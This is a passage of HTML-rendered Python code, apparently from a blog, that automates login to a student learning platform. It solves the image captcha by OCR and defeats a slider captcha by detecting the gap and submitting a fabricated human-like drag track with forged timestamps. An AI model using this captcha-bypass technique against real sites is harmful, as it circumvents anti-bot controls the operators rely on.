response.status_code == <span class="number">200</span>:</span><br><span class="line">        <span class="comment"># 保存验证码图片用于调试</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;verify_code.png&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(response.content)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;验证码图片已保存到 verify_code.png&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 尝试自动识别验证码</span></span><br><span class="line">        <span class="keyword">if</span> OCR_AVAILABLE:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                ocr = ddddocr.DdddOcr(show_ad=<span class="literal">False</span>)</span><br><span class="line">                code = ocr.classification(response.content)</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;自动识别验证码: <span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> code</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;自动识别失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">raise</span> Exception(<span class="string">f&quot;获取验证码失败: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handle_slider_captcha</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    处理滑块验证码</span></span><br><span class="line"><span class="string">    返回验证成功后的captcha id</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n检测到滑块验证码，开始处理...&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 记录请求滑块验证码的时间（作为startSlidingTime）</span></span><br><span class="line">    <span class="keyword">import</span> datetime</span><br><span class="line">    start_sliding_time = datetime.datetime.now(datetime.timezone.utc)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第1步：获取滑块验证码</span></span><br><span class="line">    gen_url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/dispatch/captcha/gen?type=RANDOM&quot;</span></span><br><span class="line">    </span><br><span class="line">    headers = create_base_headers(content_type=<span class="string">&quot;application/json;charset=UTF-8&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    response = session.post(gen_url, headers=headers, json=&#123;&#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> response.status_code != <span class="number">200</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 获取滑块验证码失败: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    captcha_data = response.json()</span><br><span class="line">    captcha_id = captcha_data.get(<span class="string">&#x27;id&#x27;</span>)</span><br><span class="line">    captcha_info = captcha_data.get(<span class="string">&#x27;captcha&#x27;</span>, &#123;&#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> captcha_id <span class="keyword">or</span> captcha_info.get(<span class="string">&#x27;type&#x27;</span>) != <span class="string">&#x27;SLIDER&#x27;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;✗ 不是滑块验证码类型&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;✓ 获取到滑块验证码 ID: <span class="subst">&#123;captcha_id&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第2步：解析背景图片</span></span><br><span class="line">    bg_image_base64 = captcha_info.get(<span class="string">&#x27;backgroundImage&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> bg_image_base64:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;✗ 未找到背景图片&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 移除data:image/jpeg;base64,前缀</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;,&#x27;</span> <span class="keyword">in</span> bg_image_base64:</span><br><span class="line">        bg_image_base64 = bg_image_base64.split(<span class="string">&#x27;,&#x27;</span>)[<span class="number">1</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 解码base64图片</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        bg_image_data = base64.b64decode(bg_image_base64)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 保存图片用于调试</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;slider_captcha_bg.png&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(bg_image_data)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;✓ 背景图片已保存到 slider_captcha_bg.png&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 打开图片获取尺寸</span></span><br><span class="line">        bg_image = Image.<span class="built_in">open</span>(BytesIO(bg_image_data))</span><br><span class="line">        bg_width, bg_height = bg_image.size</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;   图片尺寸: <span class="subst">&#123;bg_width&#125;</span>x<span class="subst">&#123;bg_height&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 解析图片失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第3步：识别缺口位置（仅支持自动识别）</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> CAPTCHA_RECOGNIZER_AVAILABLE:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n✗ 错误: 未安装captcha-recognizer库，无法自动识别缺口&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;请运行: pip install captcha-recognizer&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    slider_offset = <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n使用captcha-recognizer自动识别缺口位置...&quot;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 缩放到300宽度进行识别（提高速度且保持准确性）</span></span><br><span class="line">        target_width = <span class="number">300</span></span><br><span class="line">        original_img = Image.<span class="built_in">open</span>(<span class="string">&quot;slider_captcha_bg.png&quot;</span>)</span><br><span class="line">        original_width, original_height = original_img.size</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 计算缩放比例</span></span><br><span class="line">        scale_ratio = target_width / original_width</span><br><span class="line">        target_height = <span class="built_in">int</span>(original_height * scale_ratio)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 缩放图片</span></span><br><span class="line">        scaled_img = original_img.resize((target_width, target_height), Image.Resampling.LANCZOS)</span><br><span class="line">        scaled_path = <span class="string">&quot;slider_captcha_scaled.png&quot;</span></span><br><span class="line">        scaled_img.save(scaled_path)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;   图片已缩放: <span class="subst">&#123;original_width&#125;</span>x<span class="subst">&#123;original_height&#125;</span> -&gt; <span class="subst">&#123;target_width&#125;</span>x<span class="subst">&#123;target_height&#125;</span> (比例: <span class="subst">&#123;scale_ratio:<span class="number">.2</span>f&#125;</span>)&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 识别缩放后的图片</span></span><br><span class="line">        slider = Slider()</span><br><span class="line">        result = slider.identify(scaled_path)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> result:</span><br><span class="line">            box, confidence = result</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> confidence &gt; <span class="number">0.5</span>:</span><br><span class="line">                <span class="comment"># box格式: [x1, y1, x2, y2]，取左上角x坐标</span></span><br><span class="line">                gap_x_scaled = box[<span class="number">0</span>]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✓ 自动识别成功！缺口坐标（缩放图）: <span class="subst">&#123;box&#125;</span>, 可信度: <span class="subst">&#123;confidence:<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 将缩放图坐标转换回原始图片坐标</span></span><br><span class="line">                gap_x_original = <span class="built_in">int</span>(gap_x_scaled / scale_ratio)</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 最终转换为300宽度的坐标（用于滑块验证）</span></span><br><span class="line">                slider_offset = <span class="built_in">int</span>(gap_x_scaled) - <span class="number">5</span></span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✓ 坐标转换: <span class="subst">&#123;gap_x_scaled:<span class="number">.2</span>f&#125;</span>px (缩放图) -&gt; <span class="subst">&#123;gap_x_original&#125;</span>px (原始图) -&gt; <span class="subst">&#123;slider_offset&#125;</span>px (验证用)&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✗ 自动识别可信度过低 (<span class="subst">&#123;confidence:<span class="number">.4</span>f&#125;</span> &lt; 0.5)，验证失败&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;✗ 自动识别失败，未返回结果&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 自动识别失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">import</span> traceback</span><br><span class="line">        traceback.print_exc()</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;✓ 确定缺口位置: <span class="subst">&#123;slider_offset&#125;</span>px&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第4步：生成滑动轨迹（总时长约2000ms）</span></span><br><span class="line">    track_list = generate_slider_track(slider_offset)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第5步：提交验证</span></span><br><span class="line">    check_url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/dispatch/captcha/check&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 使用轨迹的总时长作为实际滑动时间（约2000ms）</span></span><br><span class="line">    <span class="comment"># 不再使用实际的识别时间，因为识别过程很快（约600ms）会导致轨迹时间被压缩</span></span><br><span class="line">    track_total_duration = track_list[-<span class="number">1</span>][<span class="string">&#x27;t&#x27;</span>] <span class="keyword">if</span> track_list <span class="keyword">else</span> <span class="number">2000</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 计算开始时间和结束时间（使用轨迹时长）</span></span><br><span class="line">    end_sliding_time = start_sliding_time + datetime.timedelta(milliseconds=track_total_duration)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 格式化时间为 ISO 8601</span></span><br><span class="line">    start_time_str = start_sliding_time.strftime(<span class="string">&quot;%Y-%m-%dT%H:%M:%S.&quot;</span>) + <span class="string">f&quot;<span class="subst">&#123;start_sliding_time.microsecond // <span class="number">1000</span>:03d&#125;</span>Z&quot;</span></span><br><span class="line">    end_time_str = end_sliding_time.strftime(<span class="string">&quot;%Y-%m-%dT%H:%M:%S.&quot;</span>) + <span class="string">f&quot;<span class="subst">&#123;end_sliding_time.microsecond // <span class="number">1000</span>:03d&#125;</span>Z&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 准备提交验证的 header（使用基础header + 额外字段）</span></span><br><span class="line">    check_headers = create_base_headers(</span><br><span class="line">        content_type=<span class="string">&quot;application/json;charset=UTF-8&quot;</span>,</span><br><span class="line">        extra_headers=&#123;</span><br><span class="line">            <span class="string">&quot;sec-ch-ua-platform&quot;</span>: <span class="string">&quot;\&quot;Windows\&quot;&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;application/json, text/javascript, */*; q=0.01&quot;</span>,</span><br><span class="line">            <span class="string">&quot;sec-ch-ua&quot;</span>: <span class="string">&quot;\&quot;Chromium\&quot;;v=\&quot;146\&quot;, \&quot;Not-A.Brand\&quot;;v=\&quot;24\&quot;, \&quot;Microsoft Edge\&quot;;v=\&quot;146\&quot;&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate, br, zstd&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 使用缩放后的图片尺寸（300x180），与识别时使用的尺寸一致</span></span><br><span class="line">    scaled_width = <span class="number">300</span></span><br><span class="line">    scaled_height = <span class="number">180</span></span><br><span class="line">    </span><br><span class="line">    check_data = &#123;</span><br><span class="line">        <span class="string">&quot;id&quot;</span>: captcha_id,</span><br><span class="line">        <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;bgImageWidth&quot;</span>: scaled_width,  <span class="comment"># 使用缩放后的宽度300</span></span><br><span class="line">            <span class="string">&quot;bgImageHeight&quot;</span>: scaled_height,  <span class="comment"># 使用缩放后的高度180</span></span><br><span class="line">            <span class="string">&quot;sliderImageWidth&quot;</span>: <span class="number">55</span>,  <span class="comment"># 滑块宽度（固定值）</span></span><br><span class="line">            <span class="string">&quot;sliderImageHeight&quot;</span>: scaled_height,  <span class="comment"># 使用缩放后的高度180</span></span><br><span class="line">            <span class="string">&quot;startSlidingTime&quot;</span>: start_time_str,</span><br><span class="line">            <span class="string">&quot;endSlidingTime&quot;</span>: end_time_str,</span><br><span class="line">            <span class="string">&quot;trackList&quot;</span>: track_list</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;正在提交验证...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;调试信息: 缩放图片尺寸=<span class="subst">&#123;scaled_width&#125;</span>x<span class="subst">&#123;scaled_height&#125;</span>, 原始尺寸=<span class="subst">&#123;bg_width&#125;</span>x<span class="subst">&#123;bg_height&#125;</span>, 偏移量=<span class="subst">&#123;slider_offset&#125;</span>, 轨迹点数=<span class="subst">&#123;<span class="built_in">len</span>(track_list)&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;时间范围: <span class="subst">&#123;start_time_str&#125;</span> -&gt; <span class="subst">&#123;end_time_str&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;轨迹时间范围: 0 -&gt; <span class="subst">&#123;track_list[-<span class="number">1</span>][<span class="string">&#x27;t&#x27;</span>]&#125;</span>ms&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 打印请求数据用于调试（只打印前几个轨迹点）</span></span><br><span class="line">    <span class="keyword">import</span> json <span class="keyword">as</span> json_module</span><br><span class="line">    debug_data = &#123;</span><br><span class="line">        <span class="string">&quot;id&quot;</span>: captcha_id,</span><br><span class="line">        <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;bgImageWidth&quot;</span>: scaled_width,</span><br><span class="line">            <span class="string">&quot;bgImageHeight&quot;</span>: scaled_height,</span><br><span class="line">            <span class="string">&quot;sliderImageWidth&quot;</span>: <span class="number">55</span>,</span><br><span class="line">            <span class="string">&quot;sliderImageHeight&quot;</span>: scaled_height,</span><br><span class="line">            <span class="string">&quot;startSlidingTime&quot;</span>: start_time_str,</span><br><span class="line">            <span class="string">&quot;endSlidingTime&quot;</span>: end_time_str,</span><br><span class="line">            <span class="string">&quot;trackList&quot;</span>: track_list[:<span class="number">3</span>] + [<span class="string">&quot;...&quot;</span>] + track_list[-<span class="number">2</span>:]  <span class="comment"># 只显示前后几个点</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;请求数据: <span class="subst">&#123;json_module.dumps(debug_data, ensure_ascii=<span class="literal">False</span>, indent=<span class="number">2</span>)[:<span class="number">500</span>]&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    response = session.post(check_url, headers=check_headers, json=check_data)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> response.status_code != <span class="number">200</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 验证请求失败: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;响应内容: <span class="subst">&#123;response.text[:<span class="number">500</span>]&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;\n提示: 400错误通常是数据格式问题，请检查:&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  1. 图片尺寸是否正确 (缩放: <span class="subst">&#123;scaled_width&#125;</span>x<span class="subst">&#123;scaled_height&#125;</span>, 原始: <span class="subst">&#123;bg_width&#125;</span>x<span class="subst">&#123;bg_height&#125;</span>)&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  2. 滑块宽度是否为55&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  3. 时间格式是否为ISO 8601&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  4. 轨迹点的t字段是否为相对时间&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  5. Header是否完整&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    result = response.json()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> result.get(<span class="string">&#x27;success&#x27;</span>) <span class="keyword">and</span> result.get(<span class="string">&#x27;code&#x27;</span>) == <span class="number">200</span>:</span><br><span class="line">        new_captcha_id = result.get(<span class="string">&#x27;data&#x27;</span>, &#123;&#125;).get(<span class="string">&#x27;id&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✓ 滑块验证成功！新的captcha ID: <span class="subst">&#123;new_captcha_id&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> new_captcha_id</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 验证失败: <span class="subst">&#123;result.get(<span class="string">&#x27;msg&#x27;</span>, <span class="string">&#x27;未知错误&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_slider_track</span>(<span class="params">target_offset</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    生成拟人化的滑动轨迹（总时长约2秒，时间分布更线性）</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    参数:</span></span><br><span class="line"><span class="string">        target_offset: 目标偏移量（像素）</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    返回:</span></span><br><span class="line"><span class="string">        轨迹点列表（t为相对时间，从0开始）</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    track_list = []</span><br><span class="line">    current_x = <span class="number">0</span></span><br><span class="line">    current_y = <span class="number">0</span></span><br><span class="line">    elapsed_time = <span class="number">0</span>  <span class="comment"># 相对时间，从0开始</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第1个点：鼠标按下 (t=0)</span></span><br><span class="line">    track_list.append(&#123;</span><br><span class="line">        <span class="string">&quot;x&quot;</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="string">&quot;y&quot;</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="string">&quot;type&quot;</span>: <span class="string">&quot;down&quot;</span>,</span><br><span class="line">        <span class="string">&quot;t&quot;</span>: <span class="number">0</span></span><br><span class="line">    &#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 生成移动轨迹（总时长约2000ms，更线性的时间分布）</span></span><br><span class="line">    steps = random.randint(<span class="number">25</span>, <span class="number">35</span>)  <span class="comment"># 步数</span></span><br><span class="line">    remaining = target_offset</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(steps):</span><br><span class="line">        <span class="comment"># 计算这一步的距离（匀速为主，轻微变速）</span></span><br><span class="line">        <span class="keyword">if</span> i &lt; steps * <span class="number">0.7</span>:  <span class="comment"># 前70%匀速移动</span></span><br><span class="line">            step_distance = remaining / (steps - i) * random.uniform(<span class="number">1.2</span>, <span class="number">1.8</span>)</span><br><span class="line">        <span class="keyword">elif</span> i &lt; steps * <span class="number">0.9</span>:  <span class="comment"># 中间减速</span></span><br><span class="line">            step_distance = remaining / (steps - i) * random.uniform(<span class="number">0.8</span>, <span class="number">1.2</span>)</span><br><span class="line">        <span class="keyword">else</span>:  <span class="comment"># 最后微调</span></span><br><span class="line">            step_distance = remaining / (steps - i) * random.uniform(<span class="number">0.4</span>, <span class="number">0.8</span>)</span><br><span class="line">        </span><br><span class="line">        step_distance = <span class="built_in">min</span>(step_distance, remaining)</span><br><span class="line">        current_x += <span class="built_in">int</span>(step_distance)</span><br><span class="line">        remaining -= step_distance</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 添加轻微的y轴抖动（模拟手抖）</span></span><br><span class="line">        current_y = random.randint(-<span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 时间间隔（毫秒）- 更线性的分布，总时长约2000ms</span></span><br><span class="line">        <span class="keyword">if</span> i &lt; steps * <span class="number">0.7</span>:</span><br><span class="line">            time_interval = random.randint(<span class="number">50</span>, <span class="number">70</span>)  <span class="comment"># 匀速阶段</span></span><br><span class="line">        <span class="keyword">elif</span> i &lt; steps * <span class="number">0.9</span>:</span><br><span class="line">            time_interval = random.randint(<span class="number">60</span>, <span class="number">80</span>)  <span class="comment"># 减速阶段</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            time_interval = random.randint(<span class="number">70</span>, <span class="number">90</span>)  <span class="comment"># 微调阶段</span></span><br><span class="line">        </span><br><span class="line">        elapsed_time += time_interval</span><br><span class="line">        </span><br><span class="line">        track_list.append(&#123;</span><br><span class="line">            <span class="string">&quot;x&quot;</span>: current_x,</span><br><span class="line">            <span class="string">&quot;y&quot;</span>: current_y,</span><br><span class="line">            <span class="string">&quot;type&quot;</span>: <span class="string">&quot;move&quot;</span>,</span><br><span class="line">            <span class="string">&quot;t&quot;</span>: elapsed_time</span><br><span class="line">        &#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 确保最后到达目标位置</span></span><br><span class="line">    <span class="keyword">if</span> current_x != target_offset:</span><br><span class="line">        current_x = target_offset</span><br><span class="line">        elapsed_time += random.randint(<span class="number">50</span>, <span class="number">80</span>)</span><br><span class="line">        track_list.append(&#123;</span><br><span class="line">            <span class="string">&quot;x&quot;</span>: current_x,</span><br><span class="line">            <span class="string">&quot;y&quot;</span>: current_y,</span><br><span class="line">            <span class="string">&quot;type&quot;</span>: <span class="string">&quot;move&quot;</span>,</span><br><span class="line">            <span class="string">&quot;t&quot;</span>: elapsed_time</span><br><span class="line">        &#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 最后一个点：鼠标释放（停留一会儿，让总时长接近2000ms）</span></span><br><span class="line">    <span class="comment"># 如果当前时间不足1800ms，补充到1800-2000ms</span></span><br><span class="line">    <span class="keyword">if</span> elapsed_time &lt; <span class="number">1800</span>:</span><br><span class="line">        elapsed_time = random.randint(<span class="number">1800</span>, <span class="number">2000</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        elapsed_time += random.randint(<span class="number">50</span>, <span class="number">150</span>)</span><br><span class="line">    </span><br><span class="line">    track_list.append(&#123;</span><br><span class="line">        <span class="string">&quot;x&quot;</span>: current_x,</span><br><span class="line">        <span class="string">&quot;y&quot;</span>: current_y,</span><br><span class="line">        <span class="string">&quot;type&quot;</span>: <span class="string">&quot;up&quot;</span>,</span><br><span class="line">        <span class="string">&quot;t&quot;</span>: elapsed_time</span><br><span class="line">    &#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> track_list</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encode_password</span>(<span class="params">password</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;将密码转换为URL编码格式（ASCII码逗号分隔）&quot;&quot;&quot;</span></span><br><span class="line">    encoded = <span class="string">&quot;,&quot;</span>.join([<span class="built_in">str</span>(<span class="built_in">ord</span>(c)) <span class="keyword">for</span> c <span class="keyword">in</span> password])</span><br><span class="line">    <span class="keyword">return</span> encoded</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encode_username</span>(<span class="params">username</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;将用户名转换为URL编码格式（ASCII码逗号分隔）&quot;&quot;&quot;</span></span><br><span class="line">    encoded = <span class="string">&quot;,&quot;</span>.join([<span class="built_in">str</span>(<span class="built_in">ord</span>(c)) <span class="keyword">for</span> c <span class="keyword">in</span> username])</span><br><span class="line">    <span class="keyword">return</span> encoded</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">login</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;执行登录流程&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">global</span> edu_token, edu_sign, edu_cid, user_account_id</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;开始登录流程...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第一步：访问首页获取初始cookie</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n[1/4] 访问首页获取初始Cookie...&quot;</span>)</span><br><span class="line">    headers = create_base_headers()</span><br><span class="line">    session.get(<span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/&quot;</span>, headers=headers)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第二步：获取验证码</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n[2/4] 获取验证码...&quot;</span>)</span><br><span class="line">    verify_code = get_verify_code()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> verify_code:</span><br><span class="line">        <span class="keyword">raise</span> Exception(<span class="string">&quot;验证码获取失败&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第三步：准备登录数据</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n[3/4] 准备登录数据...&quot;</span>)</span><br><span class="line">    encoded_username = encode_username(USERNAME)</span><br><span class="line">    encoded_password = encode_password(PASSWORD)</span><br><span class="line">    </span><br><span class="line">    login_data = &#123;</span><br><span class="line">        <span class="string">&quot;UserName&quot;</span>: encoded_username,</span><br><span class="line">        <span class="string">&quot;Password&quot;</span>: encoded_password,</span><br><span class="line">        <span class="string">&quot;Code&quot;</span>: verify_code</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;用户名(编码后): <span class="subst">&#123;encoded_username&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;密码(编码后): <span class="subst">&#123;encoded_password&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;验证码: <span class="subst">&#123;verify_code&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第四步：发送登录请求</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n[4/4] 发送登录请求...&quot;</span>)</span><br><span class="line">    login_url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/login&quot;</span></span><br><span class="line">    </span><br><span class="line">    login_headers = create_base_headers(</span><br><span class="line">        content_type=<span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>,</span><br><span class="line">        extra_headers=&#123;</span><br><span class="line">            <span class="string">&quot;Host&quot;</span>: <span class="string">&quot;swfucce.sccchina.net&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Accept&quot;</span>: <span 